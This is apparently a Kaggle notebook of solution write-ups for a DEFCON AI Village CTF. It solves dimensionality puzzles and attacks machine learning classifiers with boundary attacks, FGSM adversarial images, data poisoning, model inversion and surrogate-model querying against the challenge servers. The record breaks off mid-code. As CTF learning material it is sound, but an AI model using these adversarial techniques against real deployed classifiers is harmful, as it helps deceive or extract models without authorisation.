{"metadata":{"kernelspec":{"language":"python","display_name":"Python 3","name":"python3"},"language_info":{"pygments_lexer":"ipython3","nbconvert_exporter":"python","version":"3.6.4","file_extension":".py","codemirror_mode":{"name":"ipython","version":3},"name":"python","mimetype":"text/x-python"}},"nbformat_minor":4,"nbformat":4,"cells":[{"cell_type":"markdown","source":"

**Note**: I pieced together this notebook after the servers were taken down, so I wasn't able to actually obtain the flags. The solutions should yield the correct results though.

","metadata":{"execution":{"iopub.status.busy":"2022-09-16T02:46:12.885040Z","iopub.execute_input":"2022-09-16T02:46:12.885480Z","iopub.status.idle":"2022-09-16T02:46:12.892703Z","shell.execute_reply.started":"2022-09-16T02:46:12.885445Z","shell.execute_reply":"2022-09-16T02:46:12.891394Z"}}},{"cell_type":"markdown","source":"# CTF Template\n\nWelcome to the DEFCON AI Village Capture-the-Flag (CTF). Feel free to copy this notebook and use it as the foundation for your submissions.\n\n## Intro\n\nHelp Henry Hacker get to Homecoming! In this series of challenges, you'll be interacting with various machine learning challenges. You're welcome to use this notebook as a template, but can also use any other resources. `Submission Helper` code is just there to show you how to interact with a challenge. You're encouraged to write your own code. There are no fake flags, so if you're returned a 256 character-long string, you found it! Collect those flags, add them next to their corresponding challenge in `solution.csv` (provided) and submit them to the scoreboard. We've provided an `add_flag()` function to help with this. There's no limit to how many times you try the challenges, but you can only submit `solution.csv` to the scoreboard 50 times per day. \n\nCTF's are inherently puzzles that are intended to challenge you and help you learn new things. Sometimes they may be a little ambiguous or misleading. That's part of the challenge! However, if you feel like a challenge or piece of infrastructure isn't working correctly, contact the organizers through the Kaggle discussion board or the discord channel.","metadata":{}},{"cell_type":"code","source":"# We're just importing some stuff to make sure the challenges and helper code works.\n# Feel free to import anything else you need (or solve in a different language), but if you overwrite these, provided code may not work.\n\nimport pandas as pd\nimport numpy as np\nimport os\nimport requests\nfrom IPython.display import Image as Ima\nfrom IPython.display import clear_output, display\nfrom PIL import Image as Im\nfrom torch.utils.data import Dataset, DataLoader\nimport torch\nimport joblib\nimport matplotlib.pyplot as plt\nimport json\nimport base64\nimport shutil\nimport warnings\nfrom sklearn.cluster import KMeans\nfrom sklearn.decomposition import PCA\nimport torchvision.transforms.functional as TF\nimport torchvision\nfrom torch.utils.data import Dataset\nimport torchvision.transforms as T\nfrom torchvision import datasets, transforms\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom scipy import fftpack\n\nimport tensorflow as tf\nfrom sklearn.linear_model import LogisticRegression\n\nwarnings.filterwarnings(\"ignore\")\n\n\ndir_name = \"/kaggle/input/ai-village-ctf\"\n\n# Input data files are available in the read-only \"../input/\" directory\n# You can write up to 20GB to the current directory (/kaggle/working/) that gets preserved as output when you create a version using \"Save & Run All\" \n# You can also write temporary files to /kaggle/temp/, but they won't be saved outside of the current session","metadata":{"_uuid":"8f2839f25d086af736a60e9eeb907d3b93b6e0e5","_cell_guid":"b1076dfc-b9ad-4769-8c92-a6c4dae69d19","trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# A helper function for tracking flags. You could do it yourself, but why?\n\ndef add_flag(challenge_id: str, flag: str) -> str:\n try:\n submission_path = \"/kaggle/working/submission.csv\"\n template_path = f\"{dir_name}/submission.csv\"\n if not os.path.isfile(submission_path) :\n shutil.copyfile(template_path, submission_path)\n flags = pd.read_csv(submission_path, index_col=\"challenge_id\")\n valid = flags.index.to_list()\n if challenge_id in valid:\n flags.at[challenge_id] = flag\n flags.to_csv(submission_path)\n print(\"Flag saved. If you want to update the scoreboard, click 'submit' on the right. Remember that you can only update your score on the scoreboard 50 times per day\")\n else:\n print(\"Invalid challenge_id\")\n except:\n print(\"We had trouble saving that flag. Keep a copy of it and contact the CTF organizers.\")","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# HOTDOG (id: hotdog) -- 200 Points\n\n### Scenario\n\nThis is Chester. He's heard of Hotdog/Not Hotdog, but really wants to be classified as a hot-dog (get it?).\n\n### Objective\n\nHelp Chester classify as a hotdog.","metadata":{}},{"cell_type":"markdown","source":"

Solution

\n\nThere are no restraints on what kind of image we can submit, so why not just submit a hotdog?","metadata":{}},{"cell_type":"code","source":"IMAGE_DIMS = (224, 224)\n\nimg = Im.open(f\"../input/ctf-data/ctf-data/hotdog.png\")\nimg = img.resize(IMAGE_DIMS)\n\nplt.imshow(img)\n\n# Submitting img to the server should yield the flag.","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Math\n\nThis series of \"Math\" challenges is designed to introduce the concepts of dimensionality.\n\nData is often represented in a high dimensional space, but is actually several intrinsically low dimensional components that can be diagnosed. Intrinsic low-dimensionailty is incredibly important to machine learning because many ML algorithms rely on it. Medical EKG data is as single intrinsically 2 dimensional component, despite often being represented as 100 dimensions or more. The classic MNIST dataset is several components of 8-10 dimensions, depending on the digits class, despite being represented in 784 dimensions. The 4 math challenges are focused on this problem. **If you need a hint, ask Sven at the Art Booth.**","metadata":{}},{"cell_type":"markdown","source":"# Math Challenge 1 (id: math_1) -- 100 Points\n\nHow many clusters are in the clusters1.npy, clusters2.npy, and clusters3.npy? The key is the number of clusters in order, with no spaces. These files are available in the input directory under `math`.","metadata":{}},{"cell_type":"markdown","source":"

Solution

\n\nWe can use an existing clustering algorithm to find the optimal number of clusters in each case.","metadata":{}},{"cell_type":"code","source":"# Submission Helper\n\none = np.load(f'{dir_name}/math/clusters1.npy')\ntwo = np.load(f'{dir_name}/math/clusters2.npy')\nthree = np.load(f'{dir_name}/math/clusters3.npy')\n\nMAX_CLUSTERS = 10\n\n# Find number of clusters for clusters1.npy\n\nprint(\"Scores for clusters1.npy:\")\nfor i in range(1, MAX_CLUSTERS):\n kmeans = KMeans(n_clusters=i, random_state=0).fit(one)\n score = kmeans.score(one)\n print(score)\n \nprint()\n\nprint(\"Scores for clusters2.npy:\")\nfor i in range(1, MAX_CLUSTERS):\n kmeans = KMeans(n_clusters=i, random_state=0).fit(two)\n score = kmeans.score(two)\n print(score)\n\nprint()\n \nprint(\"Scores for clusters3.npy:\")\nfor i in range(1, MAX_CLUSTERS):\n kmeans = KMeans(n_clusters=i, random_state=0).fit(three)\n score = kmeans.score(three)\n print(score)","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"The correct number of clusters is simply where we see the largest relative score increase. In our case, the number of clusters is 5, 2, and 3. Submitting 523 to the server should yield the flag.","metadata":{"execution":{"iopub.status.busy":"2022-08-12T03:17:32.092585Z","iopub.execute_input":"2022-08-12T03:17:32.093258Z","iopub.status.idle":"2022-08-12T03:17:32.104237Z","shell.execute_reply.started":"2022-08-12T03:17:32.093211Z","shell.execute_reply":"2022-08-12T03:17:32.103115Z"}}},{"cell_type":"markdown","source":"# Math Challenge 2 (id: math_2) -- 200 Points\n\nWhat's the dimensionality of the data in first_dim1.npy, first_dim2.npy, and first_dim3.npy? The key is the number of dimensions in order, with no spaces. These files are available in the input directory under `math`.","metadata":{}},{"cell_type":"markdown","source":"

Solution

\n\nWe can use PCA decomposition here.","metadata":{}},{"cell_type":"code","source":"# Submission Helper\n\none = np.load(f'{dir_name}/math/first_dim1.npy')\ntwo = np.load(f'{dir_name}/math/first_dim2.npy')\nthree = np.load(f'{dir_name}/math/first_dim3.npy')\n\nprint(\"Scores for one: \")\nfor i in range(1, 8):\n pca = PCA(n_components=i)\n pca.fit(one)\n\n score = pca.score(one)\n print(score)\n \nprint(\"\\nScores for two: \")\nfor i in range(1, 8):\n pca = PCA(n_components=i)\n pca.fit(two)\n\n score = pca.score(two)\n print(score)\n\nprint(\"\\nScores for three: \")\nfor i in range(1, 8):\n pca = PCA(n_components=i)\n pca.fit(three)\n\n score = pca.score(three)\n print(score)","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"Similarly to Math1, we can tell from these scores that the solution should be 354. ","metadata":{}},{"cell_type":"markdown","source":"# Math Challenge 3 (id: math_3) -- 300 Points\n\nWhat's the dimensionality of the data in second_dim1.npy, second_dim2.npy, and second_dim3.npy? The key is the number of the dimensionality in order, with no spaces. These files are available in the input directory under `math`.","metadata":{}},{"cell_type":"markdown","source":"

Solution

\n\nEssentially the same process as for Math2","metadata":{}},{"cell_type":"code","source":"# Submission Helper\n\none = np.load(f'{dir_name}/math/second_dim1.npy')\ntwo = np.load(f'{dir_name}/math/second_dim2.npy')\nthree = np.load(f'{dir_name}/math/second_dim3.npy')\n\nprint(\"Scores for one: \")\nfor i in range(1, 8):\n pca = PCA(n_components=i)\n pca.fit(one)\n\n score = pca.score(one)\n print(score)\n \nprint(\"\\nScores for two: \")\nfor i in range(1, 8):\n pca = PCA(n_components=i)\n pca.fit(two)\n\n score = pca.score(two)\n print(score)\n\nprint(\"\\nScores for three: \")\nfor i in range(1, 8):\n pca = PCA(n_components=i)\n pca.fit(three)\n\n score = pca.score(three)\n print(score)","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"Just like in Math2, these scores tell us the solution is 474.","metadata":{"execution":{"iopub.status.busy":"2022-08-12T03:17:32.543427Z","iopub.execute_input":"2022-08-12T03:17:32.543958Z","iopub.status.idle":"2022-08-12T03:17:32.553879Z","shell.execute_reply.started":"2022-08-12T03:17:32.543924Z","shell.execute_reply":"2022-08-12T03:17:32.552738Z"}}},{"cell_type":"markdown","source":"# Math Challenge 4 (id: math_4) -- 400 Points\n\nWhat's the dimensionality of the clusters in clusters1.npy? The key is the dimensions ordered by cluster size (smallest to largest), with no spaces. These files are available in the input directory under `math`.","metadata":{}},{"cell_type":"code","source":"NUM_CLUSTERS = 5\n\none = np.load(f'{dir_name}/math/clusters1.npy')\nkmeans = KMeans(n_clusters=NUM_CLUSTERS, random_state=0).fit(one)\n\nsizes = [0] * NUM_CLUSTERS\n\npred = kmeans.predict(one)\n\nfor i in range(NUM_CLUSTERS):\n sizes[i] += list(pred).count(i)\n\nprint(sizes)\n\nfor i in range(5):\n print(f'Cluster {i}: ')\n cluster = np.array([x for k, x in enumerate(one) if pred[k] == i])\n print(f'Cluster size: {len(cluster)}')\n \n for j in range(6):\n try:\n pca = PCA(n_components=j)\n pca.fit(cluster)\n \n score = pca.score(cluster)\n except:\n score = float('-inf')\n \n print(score)\n \n print('\\n')","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"

This took a bit more work than the previous math problems, but the idea remains the same. The above values tell us the solution is 54312.<\\p>","metadata":{}},{"cell_type":"markdown","source":"# WIFI (id: wifi) -- 200 Points\n\n### Scenario\n\nYou really need to check your email, unfortunately you don't know the password. Fortunately, someone wrote it down. Unfortunately, it's written down on a low-dimensional manifold embedded in a very high-dimensional space. Check out the `wifi/Embedded characters.npz` file -- a list of tokens is given in the `tokens` key with their corresponding embeddings in the same order under the `embeddings` key -- and recover the password.\n\n### Objective\n\nThe password is your flag, like all others, it has the format `FLAG{something}`","metadata":{}},{"cell_type":"markdown","source":"

Solution

\n\nThis was a beautiful problem, and tricky! The trick is to realize that we can project the embeddings down to a 2-dimensional space using PCA, which enables us to visualize them. When we do this, we get the following.","metadata":{}},{"cell_type":"code","source":"x = np.load(f'{dir_name}/wifi/Embedded_characters.npz')\nembed = x['embeddings']\n\npca = PCA(n_components=2)\npca.fit(embed)\n\nx = []\ny = []\n\nfor idx in range(len(embed)):\n x.append(pca.transform(embed)[idx, 0])\n y.append(pca.transform(embed)[idx, 1])\n\nplt.scatter(x, y)","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"This is very clearly not a coincidence that the embeddings produce this shape. Indeed, if we start from the interior of the spiral and make our way outwards, the embeddings spell out 'FLAG{TURNED}'. My code for doing this essentially involved trying out all the embeddings and matching them to the diagram to get the correct order, which was quite tedious and I won't include it here. I'm sure there's a more elegant way to code it up though.","metadata":{"execution":{"iopub.status.busy":"2022-08-12T03:17:32.935898Z","iopub.execute_input":"2022-08-12T03:17:32.936941Z","iopub.status.idle":"2022-08-12T03:17:32.948307Z","shell.execute_reply.started":"2022-08-12T03:17:32.936891Z","shell.execute_reply":"2022-08-12T03:17:32.946482Z"}}},{"cell_type":"markdown","source":"# HOTTERDOG (id: hotterdog) -- 400 Points\n\n### Scenario\n\nChester submitted himself in the \"most creative hotdog\" contest. They use machine vision to score the hotdogs, but oh no he already submitted his headshot.\n\n### Objective\n\nHelp Chester classify as a hotdog, but it has to look like Chester to a human. Modify his picture to fool a classifier.","metadata":{}},{"cell_type":"markdown","source":"

Solution

\n\n

This was a pain. Mostly because I hadn't done Theft and Salt yet. If you have access to the full model weights, then you can perform what's known as a white-box adversarial attack to fool the classifier, which is exactly what we did for theft and salt. However, I didn't know what model was being used by the server, so I had to resort to a black-box adversarial attack, which in general is much more difficult.

\n \n

My solution is based on the algorithm described in this paper, which is known as a Boundary Attack. The intuition behind this technique is to start with an image that is classified as a hotdog (adversarial), then perform a random walk along the boundary between the adversarial and non-adversarial regions. This needs to be performed carefully, as described in the paper, to remain adversarial (i.e still be classified as a hotdog) while also becoming more similar to the non-adversarial image, which in this case is the original Chester image.

\n\n

The code to execute this attack is included below, and can be unreliable. I've included an example of what the image will look like after a certain number of iterations, but I had to rerun the attack multiple times before getting a sample that successfully fooled the classifier. In the end though, I was able to produce a successful adversarial image using only black-box methods, which is pretty cool.

\n\n

Note: the code is based heavily on the implementation here

","metadata":{}},{"cell_type":"code","source":"def is_hotdog(image):\n img = T.ToPILImage()(image.squeeze())\n img_bytes = img.tobytes()\n b64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\n while True:\n try:\n r = requests.post(\"https://hotdog.fly.dev/score\", data=json.dumps({\"input\": b64_img_bytes.decode()}))\n \n # If len(r.text) >= 120, it means we've gotten the flag from the hotdog server,\n # so our image is classified as a hotdog.\n return len(r.text) >= 120\n except:\n pass\n \ndef get_diff(s1, s2):\n return np.linalg.norm(s1 - s2, axis=(1, 2))\n\ndef orthog_perturb(delta, prev, target):\n perturb = np.random.randn(1, 224, 224, 3)\n perturb /= np.linalg.norm(perturb, axis=(1, 2))\n perturb *= delta * np.mean(get_diff(target, prev))\n \n # Projection\n diff = target - prev\n diff /= get_diff(target, prev)\n \n perturb -= (np.vdot(perturb, diff) / np.linalg.norm(diff) ** 2) * diff\n \n overflow = prev + perturb\n perturb -= overflow * (overflow > 1)\n \n underflow = prev + perturb\n perturb -= underflow * (underflow < 0)\n \n return perturb\n\ndef forward_perturb(epsilon, prev, target):\n return (target - prev) * epsilon\n\ndef predict(sample):\n img = T.ToPILImage()(torch.Tensor(sample).moveaxis(3, 1).squeeze())\n img_bytes = img.tobytes()\n b64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n \n while True:\n try:\n r = requests.post(\"https://hotdog.fly.dev/score\", data=json.dumps({\"input\": b64_img_bytes.decode()}))\n\n if len(r.text) > 120:\n return 1\n else:\n return 0\n except:\n pass\n\ndef show_image(img):\n image_tensor = torch.Tensor(img).moveaxis(3, 1)\n plt.imshow(image_tensor.squeeze().permute(1, 2, 0))\n \nchester = Im.open('../input/ctf-data/ctf-data/chester.png')\nchester = chester.resize((224, 224))\nchester = TF.to_tensor(chester)\nchester = chester.unsqueeze(0)\n\nhotdog = Im.open('../input/ctf-data/ctf-data/hotdog.png')\nhotdog = hotdog.resize((224, 224))\nhotdog = TF.to_tensor(hotdog)\nhotdog = hotdog.unsqueeze(0)\n\ninitial_sample = torch.moveaxis(hotdog, 1, 3).numpy()\ntarget_sample = torch.moveaxis(chester, 1, 3).numpy()\n\nadversarial_sample = initial_sample\n\nepsilon = 0.1\ndelta = 0.01\n\nATTACK_CLASS = 1\n\nsaved_images = []\nsaved_queries = []\n\n#################################################################################################\n#################################################################################################\n\n# The following is the code to run the actual attack algorithm. Because the servers are no longer\n# online, it will not run because it makes queries to the server to determine whether an image\n# is adversarial or not. I've included the final image I used to obtain the flag, and was a\n# direct result of running the below algorithm. There were a few small tweaks I made to the\n# original starting image - I believe I rotated the hotdog to be more inline with the Chester,\n# but this was simply to help the algorithm converge faster.\n#\n# Note - the full process took a few hours to complete, mostly because querying the flag server\n# is slow.\n\n#################################################################################################\n#################################################################################################\n\n# Move towards the boundary\n# queries = 0\n# while True:\n# trial_sample = adversarial_sample + forward_perturb(epsilon, adversarial_sample, target_sample)\n# prediction = predict(trial_sample)\n\n# queries += 1\n# if prediction == ATTACK_CLASS:\n# adversarial_sample = trial_sample\n# break\n# else:\n# epsilon *= 0.9\n \n# # Run iterative attack\n# for j in range(100000):\n# if j % 10 == 0:\n# print(f'Queries: {queries}')\n# print(f'MSE: {np.mean(get_diff(target_sample, adversarial_sample))}')\n# saved_images.append(adversarial_sample)\n# saved_queries.append(queries)\n \n# while True:\n# d_score = 0\n# good_sample = np.zeros(0)\n \n# for i in range(10):\n# trial_sample = adversarial_sample + orthog_perturb(delta, adversarial_sample, target_sample)\n# prediction = predict(trial_sample)\n# queries += 1\n \n# if prediction == ATTACK_CLASS:\n# good_sample = trial_sample\n# d_score += 0.1\n\n# if d_score > 0.0:\n# if d_score < 0.3:\n# delta *= 0.9\n# elif d_score > 0.7:\n# delta /= 0.9\n\n# adversarial_sample = good_sample\n# break\n# else:\n# delta *= 0.9\n \n# # Forward step\n# step = 0\n# while True:\n# step += 1\n# trial_sample = adversarial_sample + forward_perturb(epsilon, adversarial_sample, target_sample)\n# prediction = predict(trial_sample)\n# queries += 1\n \n# if prediction == ATTACK_CLASS:\n# adversarial_sample = trial_sample\n# epsilon /= 0.5\n# break\n# elif step > 500:\n# break\n# else:\n# epsilon *= 0.5\n\nadversarial = Im.open('../input/ctf-data/ctf-data/adversarial-chester.png')\nadversarial = adversarial.resize((224, 224))\n\n# Guess it's close enough to fool the classifier!\nplt.imshow(adversarial)","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Honorstudent (id: honorstudent) -- 300 Points\n\n### Scenario\n\nLook at your report card! That's an F. You won't be able to go to homecoming with that grade. Can you use some carefully placed whiteout to fool your parents into thinking it's an A?\n\n### Objective\n\nModify and submit your tampered `f.png`. Be careful to not overdo it!\n","metadata":{}},{"cell_type":"markdown","source":"

Solution

\n\nHere I was able to use a white-box adversarial attack by first training a small model to classify letters, then generate an adversarial example against that surrogate model. It took a few tries, but I was finally able to get an image that fooled the classifier. The exact image that I used is shown at the end of the code.","metadata":{}},{"cell_type":"code","source":"transform = transforms.Compose([lambda img: torchvision.transforms.functional.rotate(img, -90),\n lambda img: torchvision.transforms.functional.hflip(img),\n transforms.ToTensor()])\n\ndataset = datasets.EMNIST(root='./emnist_data/', split = 'letters', train=True, transform=transform, download=True)\ndataloader = torch.utils.data.DataLoader(dataset, batch_size=128, shuffle=True)\n\nclass Net(nn.Module):\n def __init__(self):\n super().__init__()\n self.conv1 = nn.Conv2d(1, 32, 5, padding='same')\n self.conv2 = nn.Conv2d(32, 32, 5, padding='same')\n self.conv3 = nn.Conv2d(32, 32, 5, padding='same')\n self.conv4 = nn.Conv2d(32, 1, 5, padding='same')\n \n self.fc1 = nn.Linear(784, 256)\n self.fc2 = nn.Linear(256, 27)\n\n def forward(self, x):\n x = F.relu(self.conv1(x))\n x = F.relu(self.conv2(x))\n x = F.relu(self.conv3(x))\n x = F.relu(self.conv4(x))\n \n x = torch.flatten(x, 1) # flatten all dimensions except batch\n x = F.relu(self.fc1(x))\n x = self.fc2(x)\n\n return x","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nnet = Net().to(device)\n\ncriterion = nn.CrossEntropyLoss()\noptimizer = optim.Adam(net.parameters(), lr=0.00001)\n\nfor epoch in range(10):\n running_loss = 0.0\n\n for k, data in enumerate(dataloader, 0):\n inputs, labels = data\n\n inputs = inputs.to(device)\n labels = labels.to(device)\n\n # zero the parameter gradients\n optimizer.zero_grad()\n \n # forward + backward + optimize\n outputs = net(inputs)\n loss = criterion(outputs, labels)\n\n loss.backward()\n optimizer.step()\n\n running_loss += loss.item()\n\n print(f'Epoch: {epoch + 1}, loss: {running_loss / len(dataloader):0.5f}')","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"image = Im.open(f'{dir_name}/honorstudent/f.png')\nimage = image.resize((28, 28))\nx = TF.to_tensor(image)\nx.unsqueeze_(0)\nx = x.to(device)\n\n\nEPSILON = 0.001\n\nfor i in range(1000):\n x.requires_grad = True\n output = net(x)\n target = torch.Tensor([1]).type(torch.LongTensor).to(device)\n loss = F.nll_loss(output, target)\n\n net.zero_grad()\n loss.backward()\n data_grad = x.grad.data\n \n with torch.no_grad():\n x -= data_grad.sign() * EPSILON\n x = torch.clamp(x, 0, 1)\n\n# If we run the code enough times, this image should eventually be an adversarial example\nimg = T.ToPILImage()(x.squeeze().squeeze())\nplt.imshow(img)\nplt.show()\n\n# The actual adversarial image that I used\nadversarial = Im.open('../input/ctf-data/ctf-data/adversarial-a.png')\n\n# Guess it's close enough to fool the classifier!\nplt.imshow(adversarial)","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Secret Sloth (id: sloth) -- 400 Points\n\n### Scenario\n\nThe sloth in `secret.sloth/secret-sloth.png` has a very cool hat... and a secret message for you. The message is your flag.\n\n### Objective \n\nThe flag is in the image somewhere; as always, look for `FLAG{something}`","metadata":{}},{"cell_type":"markdown","source":"

Solution

\n\nThis was tricky until you got the right idea. The absolute value of the fourier transform reveals the flag.","metadata":{}},{"cell_type":"code","source":"sloth = plt.imread(f'{dir_name}/secret.sloth/secret-sloth.png')\nsloth_fft = fftpack.fft2(sloth)\n\nplt.imshow(np.abs(sloth_fft))","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Bad to Good (id: bad_to_good) -- 300 Points\n\n### Scenario\n\nYou can’t buy a homecoming ticket if you get classified as a “good student”. Can you help Henry poison the classifier? He can only access one of four classes grades, but he can influence the everyone in the class.\n\n### Objective\n\nModify and submit your tampered `csv`. Try and get Henry classified as a good student. Be careful to not overdo it!","metadata":{"execution":{"iopub.status.busy":"2022-07-06T18:06:36.224662Z","iopub.execute_input":"2022-07-06T18:06:36.22512Z","iopub.status.idle":"2022-07-06T18:06:36.324329Z","shell.execute_reply.started":"2022-07-06T18:06:36.225025Z","shell.execute_reply":"2022-07-06T18:06:36.322661Z"}}},{"cell_type":"markdown","source":"

Solution

\n\nI have no code for this solution because I manipulated all the values in the CSV file by hand. I only had to tweak a few values to aquire the flag. Most of my changes involved \"boosting\" Henry's stats and decreasing stats for students that had a good score. ","metadata":{}},{"cell_type":"markdown","source":"# Inference (id: inference) -- 400 Points\n\n### Scenario\n\nModel model on the wall, who is the fairest of them all?\n\n?gnidaer llits uoy era yhW .uoy htiw skcans thguorb ev'dluohs uoY .skcans rof pots t'noD .won oG .tsaf oG .niW .galf eht teG .ledom eht esreveR\n\n### Objective\n\nRetrieve the images that spell the flag. Wrap any text in `FLAG{}`\n\n**If you need a hint, there's a guy named `moo` somewhere.**","metadata":{}},{"cell_type":"markdown","source":"

Solution

\n\nThe hint was quite helpful, and my solution literally involved reversing the model by creating a neural network that accepted 6 inputs and output an input. I generated training data for the network by using queries against the server involving images from the EMINST data set. The code below won't actually run because it involves querying the server, but it is what I used to acquire the flag.","metadata":{}},{"cell_type":"code","source":"# class NetRev(nn.Module):\n# def __init__(self):\n# super().__init__()\n# self.fc1 = nn.Linear(6, 256)\n# self.fc2 = nn.Linear(256, 1024)\n \n# self.conv1 = nn.Conv2d(1, 16, 3, padding='same')\n# self.conv2 = nn.Conv2d(16, 16, 3, padding='same')\n# self.conv3 = nn.Conv2d(16, 1, 3, padding='same')\n \n# def forward(self, x):\n# x = F.relu(self.fc1(x))\n# x = F.relu(self.fc2(x))\n \n# x = x.reshape(x.shape[0], 1, 32, 32)\n \n# x = F.relu(self.conv1(x))\n# x = F.relu(self.conv2(x))\n# x = F.relu(self.conv3(x))\n\n# return x\n\n\n# net = NetRev()\n# criterion = nn.MSELoss()\n\n# optimizer = optim.Adam(net.parameters(), lr=0.001)\n\n# transform = torchvision.transforms.Compose([\n# lambda img: torchvision.transforms.functional.rotate(img, -90),\n# lambda img: torchvision.transforms.functional.hflip(img),\n# torchvision.transforms.Resize((32, 32)),\n# torchvision.transforms.ToTensor()\n# ])\n\n# data = datasets.EMNIST(root='./emnist_data/', split = 'letters', train=True, transform=transform, download=True)\n# dataloader = DataLoader(dataset=data, batch_size=1, shuffle=True)\n\n# # Generate a dataset by querying the server\n\n# images = []\n# outputs = []\n\n# for k, d in enumerate(dataloader, 0):\n# x, y = d\n\n# x = x.to(device).float().moveaxis(1, 3)\n \n# try:\n# response = requests.post(\"https://inference.fly.dev/score\", data = json.dumps({\"input\": x.tolist()}))\n# resp = json.loads(response.text)\n\n# images.append(x.cpu())\n# outputs.append(torch.Tensor(resp['outputs'][0]))\n# except requests.exceptions.ConnectionError:\n# continue\n \n# class ImgDataset(Dataset):\n# def __init__(self, images, outputs):\n# self.images = images\n# self.outputs = outputs\n \n# def __len__(self):\n# return len(self.images)\n \n# def __getitem__(self, idx):\n# return {'data': self.images[idx], 'output': self.outputs[idx]}\n \n# img_dataset = ImgDataset(images, outputs)\n# img_dataloader = DataLoader(dataset=img_dataset, batch_size=32, shuffle=True)\n\n# # Train the reversed model\n\n# net = NetRev().to(device)\n# criterion = nn.MSELoss()\n\n# optimizer = optim.Adam(net.parameters(), lr=0.001)\n\n# for epoch in range(1000):\n# running_loss = 0.0\n\n# for k, d in enumerate(img_dataloader, 0):\n# inputs, labels = d['data'].squeeze(1).moveaxis(3, 1), d['output']\n \n# inputs = torch.Tensor(inputs).to(device)\n# labels = labels.to(device)\n\n# # zero the parameter gradients\n# optimizer.zero_grad()\n\n# # forward + backward + optimize\n# preds = net(labels)\n\n# loss = criterion(inputs, preds)\n \n# loss.backward()\n# optimizer.step()\n\n# running_loss += loss.item()\n\n# print(f'Epoch: {epoch + 1}, loss: {running_loss / len(dataloader):0.5f}')\n \n# # At this point, we can obtain the flag by passing [1, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0], etc. into\n# # the reversed model, which outputs images that resemble the letters DEFCON. The E and the O seem\n# # disformed, so I tried D3FC0N, which worked.","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Baseball (id: baseball) -- 300 Points\n\n### Scenario\n\nHenry has to miss baseball tryouts to get ready for his date. Can you cover for him? Henry is a pitcher and the team uses software to analyze pitch patterns to classify pitchers. \n\n### Objective\n\nThrow 15 pitches at x,y (each bounded on [0,29]). Check out `test_pitch.json` to see the expected format. Can you throw 15 pitches to get classified as Henry?","metadata":{}},{"cell_type":"markdown","source":"

Solution

\n\nMy solution involved training a surrogate model to mimic the model from the server, then attempting to fool that surrogate model into outputting Henry. Again, since this code requires querying the server, it won't actually run, but is what I used to obtain the flag.","metadata":{}},{"cell_type":"code","source":"# class Net(nn.Module):\n# def __init__(self):\n# super().__init__()\n# self.fc1 = nn.Linear(30, 64)\n# self.fc2 = nn.Linear(64, 64)\n# self.fc3 = nn.Linear(64, 64)\n# self.fc3 = nn.Linear(64, 64)\n# self.fc4 = nn.Linear(64, 32)\n# self.fc5 = nn.Linear(32, 1)\n\n# def forward(self, x):\n# x = F.relu(self.fc1(x))\n# x = F.relu(self.fc2(x))\n# x = F.relu(self.fc3(x))\n# x = F.relu(self.fc4(x))\n# x = self.fc5(x)\n\n# return x\n\n# device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n# net = Net().to(device)\n\n# #criterion = nn.CrossEntropyLoss()\n# criterion = nn.MSELoss()\n\n# optimizer = optim.Adam(net.parameters(), lr=0.00001)\n\n# def gen_rand_sequence():\n# pitches = []\n# for j in range(15):\n# x = random.randint(0, 29)\n# y = random.randint(0, 29)\n \n# pitches.append([x, y])\n \n# return pitches\n\n# def seq_to_json(seq):\n# j = {\"pitches\": []}\n \n# for pitch in seq:\n# j[\"pitches\"].append({'x': pitch[0], 'y': pitch[1]})\n \n# return j\n\n# data = {'sarah': [], 'henry': []}\n\n# for i in range(100000):\n# seq = gen_rand_sequence()\n# seq_json = seq_to_json(seq)\n \n# r = requests.post(\"https://bball.fly.dev/score\", json=seq_json)\n \n# if 'sarah' in r.text:\n# data['sarah'].append(seq)\n# elif 'henry' in r.text:\n# data['henry'].append(seq)\n \n# class SeqDataset(Dataset):\n# def __init__(self, sarah_seq, henry_seq):\n# self.sarah = sarah_seq\n# self.henry = henry_seq\n \n# def __len__(self):\n# return len(self.sarah) + len(self.henry)\n \n# def __getitem__(self, idx):\n# if idx < len(self.sarah):\n# return {'data': self.sarah[idx], 'label': 0.0}\n# else:\n# return {'data': self.henry[idx - len(self.sarah)], 'label': 1.0}\n\n# # Train the surrogate model\n \n# sarah = torch.Tensor(data['sarah']).flatten(1, 2)\n# henry = torch.Tensor(data['henry']).flatten(1, 2)\n\n# dataset = SeqDataset(sarah, henry)\n# dataloader = DataLoader(dataset=dataset, batch_size=256, shuffle=True)\n\n# for epoch in range(150):\n# running_loss = 0.0\n\n# for k, d in enumerate(dataloader, 0):\n# inputs, labels = d['data'], d['label']\n\n# inputs = inputs / 30\n\n# inputs = inputs.to(device).float()\n# labels = labels.to(device).float().unsqueeze(1)\n\n# # zero the parameter gradients\n# optimizer.zero_grad()\n\n# # forward + backward + optimize\n# outputs = net(inputs)\n\n# loss = criterion(outputs, labels)\n# loss.backward()\n# optimizer.step()\n\n# running_loss += loss.item()\n\n# print(f'Epoch: {epoch + 1}, loss: {running_loss / len(dataloader):0.5f}')\n \n# def seq_to_tensor(seq):\n# return 